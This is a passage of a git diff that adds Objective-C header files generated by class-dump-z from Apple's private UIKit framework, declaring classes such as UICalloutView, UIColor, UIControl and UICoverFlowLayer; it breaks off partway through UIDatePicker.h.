+-(void)layoutSubviews; +-(void)removeFromSuperview; +-(CGRect)titleRectForContentRect:(CGRect)contentRect; +-(CGRect)imageRectForContentRect:(CGRect)contentRect; +-(void)configureForSingle; +-(void)configureForLeftPosition; +-(void)configureForMiddlePosition; +-(void)configureForRightPosition; +-(void)setContentScale:(float)scale; +-(void)setHighlighted:(BOOL)highlighted; +-(void)sendCallback; +-(void)cancelFlash; +-(void)flash; +-(void)flashCallback:(id)callback; +@end + diff --git a/igor/headers/dumpedUIKit/UICalloutBarOverlay.h b/igor/headers/dumpedUIKit/UICalloutBarOverlay.h new file mode 100644 index 0000000..af0dc33 --- /dev/null +++ b/igor/headers/dumpedUIKit/UICalloutBarOverlay.h @@ -0,0 +1,26 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIImageView; + +__attribute__((visibility("hidden"))) +@interface UICalloutBarOverlay : UIView { +@private + UIImageView* m_hiArrow; + CGRect m_arrowRect; + float m_dividerOffsets[8]; +} +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)setDividerOffsets:(float*)offsets; +-(void)drawRect:(CGRect)rect; +-(void)setHighlighted:(BOOL)highlighted forFrame:(CGRect)frame; +@end + diff --git a/igor/headers/dumpedUIKit/UICalloutView.h b/igor/headers/dumpedUIKit/UICalloutView.h new file mode 100644 index 0000000..afa8626 --- /dev/null +++ b/igor/headers/dumpedUIKit/UICalloutView.h @@ -0,0 +1,96 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIControl.h" +#import "UIKit-Structs.h" + +@class UIImageView, UILabel, NSTimer, NSMutableArray; + +@interface UICalloutView : UIControl { + UIImageView* _leftCap; + UIImageView* _rightCap; + UIImageView* _topAnchor; + UIImageView* _bottomAnchor; + UIImageView* _leftBackground; + UIImageView* _rightBackground; + UILabel* _title; + UILabel* _subtitle; + UILabel* _temporary; + UIView* _leftView; + UIView* _rightView; + struct { + CGPoint origin; + CGPoint offset; + int position; + CGPoint desiredPoint; + CGRect desiredBounds; + } _anchor; + CGRect _frame; + id _delegate; + struct { + unsigned shouldSendTouchPauseUp : 1; + unsigned delegateViewHandleTapWithCountEvent : 1; + unsigned delegateViewHandleTapWithCountEventFingerCount : 1; + unsigned delegateViewHandleTouchPauseIsDown : 1; + unsigned reserved : 28; + } _flags; + NSMutableArray* _fadeInViews; + NSMutableArray* _fadeOutViews; + NSTimer* _layoutAnimationTimer; +} +@property(retain, nonatomic) UIView* leftView; +@property(retain, nonatomic) UIView* rightView; +@property(assign, nonatomic) BOOL canAnchorFromBottom; +@property(assign, nonatomic) int subtitleTextAlignment; +@property(assign, nonatomic) int titleTextAlignment; +@property(assign, nonatomic) int subtitleLineBreakMode; +@property(assign, nonatomic) int titleLineBreakMode; ++(id)_backgroundImage; ++(id)_leftCapImage; ++(id)_rightCapImage; ++(id)_topAnchorImage; ++(id)_bottomAnchorImage; ++(float)defaultHeight; ++(id)sharedCalloutView; +-(void)_setLeftView:(id)view; +-(void)_setRightView:(id)view; +-(void)_scheduleViewToFadeIn:(id)anIn; +-(void)_scheduleViewToFadeOut:(id)fadeOut; +-(void)setLeftView:(id)view animated:(BOOL)animated; +-(void)setRightView:(id)view animated:(BOOL)animated; +-(void)setSubtitle:(id)subtitle animated:(BOOL)animated; +-(void)_setLayoutAnimationTimer:(id)timer; +-(void)_layoutAnimation; +-(void)_scheduleLayoutAnimation; +-(void)_fadeViewsIn:(BOOL)anIn; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)setTitle:(id)title; +-(id)title; +-(void)setSubtitle:(id)subtitle; +-(id)subtitle; +-(void)setTemporaryTitle:(id)title; +-(id)temporaryTitle; +-(void)setOffset:(CGPoint)offset; +-(CGPoint)offset; +-(CGPoint)anchorPoint; +-(void)getActualAnchorPoint:(CGPoint*)point frame:(CGRect*)frame position:(int*)position forDesiredAnchorPoint:(CGPoint)desiredAnchorPoint boundaryRect:(CGRect)rect; +-(void)_setOriginForScale:(float)scale; +-(void)_layoutSubviews:(BOOL)subviews; +-(void)setAnchorPoint:(CGPoint)point boundaryRect:(CGRect)rect animate:(BOOL)animate; +-(void)animationDidStop:(id)animation finished:(id)finished context:(void*)context; +-(void)fadeOutWithDuration:(float)duration; +-(void)_markDidMoveCalled; +-(void)completeBounceAnimation; +-(void)addTarget:(id)target action:(SEL)action; +-(void)removeTarget:(id)target; +-(void)setDelegate:(id)delegate; +-(id)delegate; +-(id)hitTest:(CGPoint)test forEvent:(GSEventRef)event; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +@end + diff --git a/igor/headers/dumpedUIKit/UICheckeredPatternView.h b/igor/headers/dumpedUIKit/UICheckeredPatternView.h new file mode 100644 index 0000000..e168911 --- /dev/null +++ b/igor/headers/dumpedUIKit/UICheckeredPatternView.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIColor; + +@interface UICheckeredPatternView : UIView { + UIColor* m_patternColor; + UIColor* m_checkerColor; +} +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(BOOL)_canDrawContent; +-(void)updatePatternColor; +-(id)checkerColor; +-(void)setCheckerColor:(id)color; +@end + diff --git a/igor/headers/dumpedUIKit/UIClassSwapper.h b/igor/headers/dumpedUIKit/UIClassSwapper.h new file mode 100644 index 0000000..b36d717 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIClassSwapper.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSString; + +__attribute__((visibility("hidden"))) +@interface UIClassSwapper : NSObject { +@private + NSString* className; + id object; +} ++(id)swapperForObject:(id)object withClassName:(id)className; +-(id)initWithObject:(id)object andClassName:(id)name; +-(void)dealloc; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +@end + diff --git a/igor/headers/dumpedUIKit/UIClippedImageView.h b/igor/headers/dumpedUIKit/UIClippedImageView.h new file mode 100644 index 0000000..9331c77 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIClippedImageView.h @@ -0,0 +1,31 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIImageView; + +__attribute__((visibility("hidden"))) +@interface UIClippedImageView : UIView { +@private + UIImageView* m_imageView; + CGRect m_originalFrame; + CGRect m_baseFrame; +} +-(id)initWithFrame:(CGRect)frame image:(id)image; +-(void)dealloc; +-(id)image; +-(void)setImage:(id)image; +-(void)setOpaque:(BOOL)opaque; +-(void)setFrame:(CGRect)frame; +-(void)setBaseFrame:(CGRect)frame; +-(CGRect)baseFrame; +-(void)setImageOrigin:(CGPoint)origin; +-(void)setOriginAdjustingImage:(CGPoint)image; +@end + diff --git a/igor/headers/dumpedUIKit/UIColor.h b/igor/headers/dumpedUIKit/UIColor.h new file mode 100644 index 0000000..556c2a8 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIColor.h @@ -0,0 +1,87 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIColor.h" +#import +#import "NSCoding.h" +#import "UIKit-Structs.h" + + +@interface UIColor : NSObject { +} +@property(readonly, assign, nonatomic) CGColorRef CGColor; ++(void)initialize; ++(id)allocWithZone:(NSZone*)zone; ++(id)colorWithWhite:(float)white alpha:(float)alpha; ++(id)colorWithHue:(float)hue saturation:(float)saturation brightness:(float)brightness alpha:(float)alpha; ++(id)colorWithRed:(float)red green:(float)green blue:(float)blue alpha:(float)alpha; ++(id)colorWithCGColor:(CGColorRef)cgcolor; ++(id)colorWithPatternImage:(id)patternImage; ++(id)blackColor; ++(id)darkGrayColor; ++(id)lightGrayColor; ++(id)whiteColor; ++(id)grayColor; ++(id)clearColor; ++(id)redColor; ++(id)greenColor; ++(id)blueColor; ++(id)cyanColor; ++(id)yellowColor; ++(id)magentaColor; ++(id)orangeColor; ++(id)purpleColor; ++(id)brownColor; ++(id)lightTextColor; ++(id)darkTextColor; ++(id)tableSeparatorDarkColor; ++(id)tableSeparatorLightColor; ++(id)tableBackgroundColor; ++(id)tableSelectionColor; ++(id)sectionListBorderColor; ++(id)sectionHeaderBackgroundColor; ++(id)sectionHeaderOpaqueBackgroundColor; ++(id)sectionHeaderBorderColor; ++(id)tableCellBlueTextColor; ++(id)tableCellValue1BlueColor; ++(id)tableCellValue2BlueColor; ++(id)tableCellGrayTextColor; ++(id)textFieldAtomBlueColor; ++(id)textFieldAtomPurpleColor; ++(id)infoTextOverPinStripeTextColor; +-(id)initWithWhite:(float)white alpha:(float)alpha; +-(id)initWithHue:(float)hue saturation:(float)saturation brightness:(float)brightness alpha:(float)alpha; +-(id)initWithRed:(float)red green:(float)green blue:(float)blue alpha:(float)alpha; +-(id)initWithCGColor:(CGColorRef)cgcolor; +-(id)initWithPatternImage:(id)patternImage; +-(Class)classForCoder; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(void)set; +-(void)setFill; +-(void)setStroke; +-(id)colorWithAlphaComponent:(float)alphaComponent; +-(BOOL)isEqual:(id)equal; +-(unsigned)hash; +-(CGColorRef)cgColor; +-(id)styleString; +@end + +@interface UIColor (UIColorSystemColorsPrivate) ++(id)underPageBackgroundColor; +@end + +@interface UIColor (UIColorSystemColors) ++(id)pinStripeColor; ++(id)selectionTintColor; ++(id)textCaretColor; ++(id)selectionCaretColor; ++(id)selectionHighlightColor; ++(id)groupTableViewBackgroundColor; ++(id)viewFlipsideBackgroundColor; +@end + diff --git a/igor/headers/dumpedUIKit/UICompletionTable.h b/igor/headers/dumpedUIKit/UICompletionTable.h new file mode 100644 index 0000000..a7cc2e6 --- /dev/null +++ b/igor/headers/dumpedUIKit/UICompletionTable.h @@ -0,0 +1,29 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UICompletionTablePrivate; + +@interface UICompletionTable : UIView { + UICompletionTablePrivate* _private; +} ++(id)_cellFont; ++(id)_shadowImage; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)layoutSubviews; +-(void)setDelegate:(id)delegate; +-(void)reloadData; +-(void)setTopStrokeColor:(id)color; +-(int)numberOfRowsInTable:(id)table; +-(id)_completionForRow:(int)row; +-(id)table:(id)table cellForRow:(int)row column:(id)column reusing:(id)reusing; +-(void)tableSelectionDidChange:(id)tableSelection; +@end + diff --git a/igor/headers/dumpedUIKit/UICompletionTablePrivate.h b/igor/headers/dumpedUIKit/UICompletionTablePrivate.h new file mode 100644 index 0000000..e84779c --- /dev/null +++ b/igor/headers/dumpedUIKit/UICompletionTablePrivate.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class UIView, UIShadowView, UITable; + +__attribute__((visibility("hidden"))) +@interface UICompletionTablePrivate : NSObject { +@private + id _delegate; + UITable* _table; + UIShadowView* _shadowView; + UIView* _topStrokeView; +} +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/UICompositeImageElement.h b/igor/headers/dumpedUIKit/UICompositeImageElement.h new file mode 100644 index 0000000..5dcbb64 --- /dev/null +++ b/igor/headers/dumpedUIKit/UICompositeImageElement.h @@ -0,0 +1,27 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import + +@class UIImage; + +__attribute__((visibility("hidden"))) +@interface UICompositeImageElement : NSObject { +@private + UIImage* m_image; + CGRect m_fromRect; + CGRect m_toRect; + int m_operation; + float m_fraction; +} ++(id)elementWithImage:(id)image toRect:(CGRect)rect fromRect:(CGRect)rect3 operation:(int)operation fraction:(float)fraction; +-(id)initWithImage:(id)image toRect:(CGRect)rect fromRect:(CGRect)rect3 operation:(int)operation fraction:(float)fraction; +-(void)dealloc; +-(void)draw; +@end + diff --git a/igor/headers/dumpedUIKit/UICompositeImageView.h b/igor/headers/dumpedUIKit/UICompositeImageView.h new file mode 100644 index 0000000..7290faa --- /dev/null +++ b/igor/headers/dumpedUIKit/UICompositeImageView.h @@ -0,0 +1,27 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class NSMutableArray; + +__attribute__((visibility("hidden"))) +@interface UICompositeImageView : UIView { +@private + NSMutableArray* m_images; +} +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)addImage:(id)image; +-(void)addImage:(id)image operation:(int)operation fraction:(float)fraction; +-(void)addImage:(id)image toRect:(CGRect)rect fromRect:(CGRect)rect3; +-(void)addImage:(id)image toRect:(CGRect)rect fromRect:(CGRect)rect3 operation:(int)operation fraction:(float)fraction; +-(void)removeAllImages; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UIContinuation.h b/igor/headers/dumpedUIKit/UIContinuation.h new file mode 100644 index 0000000..899d43a --- /dev/null +++ b/igor/headers/dumpedUIKit/UIContinuation.h @@ -0,0 +1,35 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "NSObject.h" +#import "UIContinuation.h" + +@class NSMutableDictionary; + +@protocol UIContinuation +-(void)setValue:(id)value forProperty:(id)property; +-(id)valueForProperty:(id)property; +-(void)doContinuation; +@end + +__attribute__((visibility("hidden"))) +@interface UIContinuation : NSObject { +@private + NSMutableDictionary* _properties; + id _continuationContext; + id _continuationTarget; + SEL _continuationSelector; +} +-(id)initWithTarget:(id)target context:(id)context continuationSelector:(SEL)selector; +-(id)context; +-(void)dealloc; +-(void)setValue:(id)value forProperty:(id)property; +-(id)valueForProperty:(id)property; +-(void)doContinuation; +@end + diff --git a/igor/headers/dumpedUIKit/UIControl.h b/igor/headers/dumpedUIKit/UIControl.h new file mode 100644 index 0000000..b0add76 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIControl.h @@ -0,0 +1,107 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" +#import "UIControl.h" + +@class NSMutableArray; + +@interface UIControl : UIView { +@private + NSMutableArray* _targetActions; + CGPoint _previousPoint; + double _downTime; + struct { + unsigned disabled : 1; + unsigned tracking : 1; + unsigned touchInside : 1; + unsigned touchDragged : 1; + unsigned requiresDisplayOnTracking : 1; + unsigned highlighted : 1; + unsigned dontHighlightOnTouchDown : 1; + unsigned delayActions : 1; + unsigned allowActionsToQueue : 1; + unsigned pendingUnhighlight : 1; + unsigned selected : 1; + unsigned verticalAlignment : 2; + unsigned horizontalAlignment : 2; + } _controlFlags; +} +@property(assign, nonatomic, getter=isEnabled) BOOL enabled; +@property(assign, nonatomic, getter=isSelected) BOOL selected; +@property(assign, nonatomic, getter=isHighlighted) BOOL highlighted; +@property(assign, nonatomic) int contentVerticalAlignment; +@property(assign, nonatomic) int contentHorizontalAlignment; +@property(readonly, assign, nonatomic) unsigned state; +@property(readonly, assign, nonatomic, getter=isTracking) BOOL tracking; +@property(readonly, assign, nonatomic, getter=isTouchInside) BOOL touchInside; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(BOOL)cancelMouseTracking; +-(BOOL)cancelTouchTracking; +-(BOOL)beginTrackingWithTouch:(id)touch withEvent:(id)event; +-(BOOL)continueTrackingWithTouch:(id)touch withEvent:(id)event; +-(void)endTrackingWithTouch:(id)touch withEvent:(id)event; +-(void)cancelTrackingWithEvent:(id)event; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(id)hitTest:(CGPoint)test forEvent:(GSEventRef)event; +-(void)mouseDown:(GSEventRef)down; +-(void)mouseDragged:(GSEventRef)dragged; +-(void)mouseUp:(GSEventRef)up; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +-(void)_didMoveFromWindow:(id)window toWindow:(id)window2; +-(void)addTarget:(id)target action:(SEL)action forControlEvents:(unsigned)controlEvents; +-(void)removeTarget:(id)target action:(SEL)action forControlEvents:(unsigned)controlEvents; +-(id)allTargets; +-(unsigned)allControlEvents; +-(id)actionsForTarget:(id)target forControlEvent:(unsigned)controlEvent; +-(void)sendAction:(SEL)action to:(id)to forEvent:(id)event; +-(void)sendActionsForControlEvents:(unsigned)controlEvents; +@end + +@interface UIControl (Static) +-(void)_unhighlight; +-(void)_sendDelayedActions:(BOOL)actions; +@end + +@interface UIControl (Deprecated) +-(BOOL)mouseInside; +-(void)sendAction:(SEL)action toTarget:(id)target forEvent:(GSEventRef)event; +-(BOOL)beginTrackingAt:(CGPoint)at withEvent:(GSEventRef)event; +-(BOOL)continueTrackingAt:(CGPoint)at previous:(CGPoint)previous withEvent:(GSEventRef)event; +-(void)endTrackingAt:(CGPoint)at previous:(CGPoint)previous withEvent:(GSEventRef)event; +@end + +@interface UIControl (UIControlPrivate) +-(BOOL)shouldTrack; +-(BOOL)touchDragged; +-(void)setRequiresDisplayOnTracking:(BOOL)tracking; +-(BOOL)requiresDisplayOnTracking; +-(BOOL)hasOneOrMoreTargets; +-(void)addTarget:(id)target action:(SEL)action forEvents:(int)events; +-(void)removeTarget:(id)target forEvents:(int)events; +-(void)setTracking:(BOOL)tracking; +@end + +@interface UIControl (Internal) +-(BOOL)_hasActionForEventMask:(int)eventMask; +-(void)_sendActionsForEventMask:(int)eventMask withEvent:(GSEventRef)event; +-(void)_sendActionsForEvents:(int)events withEvent:(id)event; +-(void)_setHighlightOnMouseDown:(BOOL)down; +-(void)_delayActions; +-(void)_sendDelayedActions; +-(void)_cancelDelayedActions; +-(BOOL)pointMostlyInside:(CGPoint)inside forEvent:(GSEventRef)event; +-(BOOL)pointMostlyInside:(CGPoint)inside withEvent:(id)event; +@end + diff --git a/igor/headers/dumpedUIKit/UIControlTargetAction.h b/igor/headers/dumpedUIKit/UIControlTargetAction.h new file mode 100644 index 0000000..50739a1 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIControlTargetAction.h @@ -0,0 +1,21 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + + +__attribute__((visibility("hidden"))) +@interface UIControlTargetAction : NSObject { +@private + id _target; + SEL _action; + int _eventMask; + BOOL _cancelled; +} +@property(assign, nonatomic) BOOL cancelled; +@end + diff --git a/igor/headers/dumpedUIKit/UICoverFlowLayer.h b/igor/headers/dumpedUIKit/UICoverFlowLayer.h new file mode 100644 index 0000000..ec697ae --- /dev/null +++ b/igor/headers/dumpedUIKit/UICoverFlowLayer.h @@ -0,0 +1,67 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import + + +@interface UICoverFlowLayer : CALayer { +@private + void* _private; +} +-(id)initWithFrame:(CGRect)frame numberOfCovers:(unsigned)covers numberOfPlaceholders:(unsigned)placeholders; +-(unsigned)numberOfCovers; +-(unsigned)numberOfPlaceholders; +-(void)dealloc; +-(void)setDelegate:(id)delegate; +-(void)setPlaceholderImage:(void*)image atPlaceholderIndex:(unsigned)placeholderIndex; +-(void)setPlaceholderIndicesForCovers:(unsigned*)covers; +-(void)_prefetch:(unsigned)prefetch atIndex:(unsigned)index; +-(void)_requestBatch; +-(void)_requestImageAtIndex:(int)index quality:(unsigned)quality; +-(void)_requestImageAtIndex:(int)index; +-(void)_notifySelectionDidChange; +-(void)transitionIn:(float)anIn; +-(void)transitionOut:(float)anOut; +-(void)transition:(unsigned)transition withCoverFrame:(CGRect)coverFrame; +-(void)transitionIn:(float)anIn fromFrame:(CGRect)frame; +-(void)transitionOut:(float)anOut toFrame:(CGRect)frame; +-(void)setDisplayedOrientation:(int)orientation animate:(BOOL)animate; +-(void)setInfoLayer:(id)layer; +-(void)setImage:(void*)image atIndex:(unsigned)index type:(unsigned)type; +-(void)setImage:(void*)image atIndex:(unsigned)index type:(unsigned)type imageSubRect:(CGRect)rect; +-(void)setImage:(void*)image atIndex:(unsigned)index; +-(unsigned)indexOfSelectedCover; +-(unsigned)_coverAtScreenPosition:(CGPoint)screenPosition; +-(void)_recycleLayer:(int)layer to:(int)to; +-(void)_setNewSelectedIndex:(int)index; +-(void)_updateTick; +-(void)displayTick; +-(void)dragFlow:(unsigned)flow atPoint:(CGPoint)point; +-(void)selectCoverAtIndex:(unsigned)index; +-(void)selectCoverAtOffset:(int)offset; +-(unsigned)coverIndexAtPosition:(float)position; +-(void)_setupFlippedCoverLayer:(id)layer; +-(void)flipSelectedCover; +-(int)benchmarkTick; +-(void)benchmarkHeartbeatLongScrub; +-(void)benchmarkHeartbeatShortScrub; +-(void)benchmarkHeartbeatScrubAndWait; +-(void)benchmarkTightLoop; +-(void)benchmarkTightLoopScrub; +-(BOOL)benchmarkLoadScrub; +-(BOOL)benchmarkImageManager:(void*)manager; +-(void)benchmarkSetEnv; +-(void)benchmarkMode:(int)mode; +-(void)benchmarkTickMode:(int)mode; +-(void)benchmarkImageMode:(int)mode; +-(void)benchmarkPerformanceLog:(BOOL)log; +-(void)benchmarkTightLoopTime:(unsigned)time; +-(void)benchmarkLongScrubSpeed:(float)speed; +-(void)benchmarkSkipImageLoad:(BOOL)load; +@end + diff --git a/igor/headers/dumpedUIKit/UICustomObject.h b/igor/headers/dumpedUIKit/UICustomObject.h new file mode 100644 index 0000000..8536c4d --- /dev/null +++ b/igor/headers/dumpedUIKit/UICustomObject.h @@ -0,0 +1,17 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + + +__attribute__((visibility("hidden"))) +@interface UICustomObject : NSObject { +} +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +@end + diff --git a/igor/headers/dumpedUIKit/UIDOMHTMLOptGroupCell.h b/igor/headers/dumpedUIKit/UIDOMHTMLOptGroupCell.h new file mode 100644 index 0000000..a6a8203 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIDOMHTMLOptGroupCell.h @@ -0,0 +1,16 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIDOMHTMLOptionPickerCell.h" + + +__attribute__((visibility("hidden"))) +@interface UIDOMHTMLOptGroupCell : UIDOMHTMLOptionPickerCell { +} +-(id)initWithHTMLOptGroupNode:(id)htmloptGroupNode; +@end + diff --git a/igor/headers/dumpedUIKit/UIDOMHTMLOptGroupSelectedItem.h b/igor/headers/dumpedUIKit/UIDOMHTMLOptGroupSelectedItem.h new file mode 100644 index 0000000..01761d9 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIDOMHTMLOptGroupSelectedItem.h @@ -0,0 +1,26 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UISelectedItemPrivate.h" +#import + +@class DOMHTMLOptGroupElement; + +__attribute__((visibility("hidden"))) +@interface UIDOMHTMLOptGroupSelectedItem : NSObject { +@private + DOMHTMLOptGroupElement* _node; +} +@property(retain, nonatomic) DOMHTMLOptGroupElement* _node; +-(id)initWithHTMLOptGroupNode:(id)htmloptGroupNode; +-(id)node; +-(BOOL)selected; +-(void)setSelected:(BOOL)selected; +-(void)unselect; +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/UIDOMHTMLOptionPickerCell.h b/igor/headers/dumpedUIKit/UIDOMHTMLOptionPickerCell.h new file mode 100644 index 0000000..69ae750 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIDOMHTMLOptionPickerCell.h @@ -0,0 +1,17 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIPickerTableCell.h" + + +__attribute__((visibility("hidden"))) +@interface UIDOMHTMLOptionPickerCell : UIPickerTableCell { +} +-(id)initCommon; +-(id)initWithHTMLOptionNode:(id)htmloptionNode; +@end + diff --git a/igor/headers/dumpedUIKit/UIDOMHTMLOptionSelectedItem.h b/igor/headers/dumpedUIKit/UIDOMHTMLOptionSelectedItem.h new file mode 100644 index 0000000..97a42e7 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIDOMHTMLOptionSelectedItem.h @@ -0,0 +1,27 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UISelectedItemPrivate.h" +#import + +@class DOMHTMLOptionElement; + +__attribute__((visibility("hidden"))) +@interface UIDOMHTMLOptionSelectedItem : NSObject { +@private + BOOL _selected; + DOMHTMLOptionElement* _node; +} +@property(retain, nonatomic) DOMHTMLOptionElement* _node; +-(id)initWithHTMLOptionNode:(id)htmloptionNode; +-(id)node; +-(BOOL)selected; +-(void)setSelected:(BOOL)selected; +-(void)unselect; +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/UIDateLabel.h b/igor/headers/dumpedUIKit/UIDateLabel.h new file mode 100644 index 0000000..6e4f9c4 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIDateLabel.h @@ -0,0 +1,39 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UILabel.h" + + +@interface UIDateLabel : UILabel { +@private + double _date; + int _dateKey; + BOOL _boldForAllLocales; +} +@property(assign, nonatomic) BOOL boldForAllLocales; ++(id)defaultFont; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(int)_dateKey; +-(void)_invalidateDateKey; +-(void)setFont:(id)font; +-(void)setFontWithoutInvalidation:(id)invalidation; +-(void)_updateDateStrings; +-(id)text; +-(id)font; +-(id)timeDesignator; +-(void)sizeToFit; +-(void)setDate:(id)date; +-(void)setTimeInterval:(double)interval; +-(double)timeInterval; +-(id)timeDesignatorFont; +-(void)drawTextInRect:(CGRect)rect; +-(void)drawRect:(CGRect)rect; +-(id)_dateLabelCache; +@end + diff --git a/igor/headers/dumpedUIKit/UIDatePicker.h b/igor/headers/dumpedUIKit/UIDatePicker.h new file mode 100644 index 0000000..f718502 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIDatePicker.h @@ -0,0 +1,50 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIControl.h" +#import "NSCoding.h" +#import "UIDatePicker.h" + +@class NSLocale, NSTimeZone, NSDate, NSCalendar, UIPickerView; + +@interface UIDatePicker : UIControl { +@private + UIPickerView* _pickerView; +} +@property(assign, nonatomic) int datePickerMode; +@property(retain, nonatomic) NSLocale* locale; +@property(retain, nonatomic) NSTimeZone* timeZone; +@property(copy, nonatomic) NSCalendar* calendar; +@property(retain, nonatomic) NSDate* date; +@property(retain, nonatomic) NSDate* minimumDate; +@property(retain, nonatomic) NSDate* maximumDate; +@property(assign, nonatomic) double countDownDuration; +@property(assign, nonatomic) int minuteInterval; +-(void)_insertPickerView; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithCoder:(id)coder; +-(void)_populateArchivedSubviews:(id)subviews; +-(void)encodeWithCoder:(id)coder; +-(void)setDate:(id)date 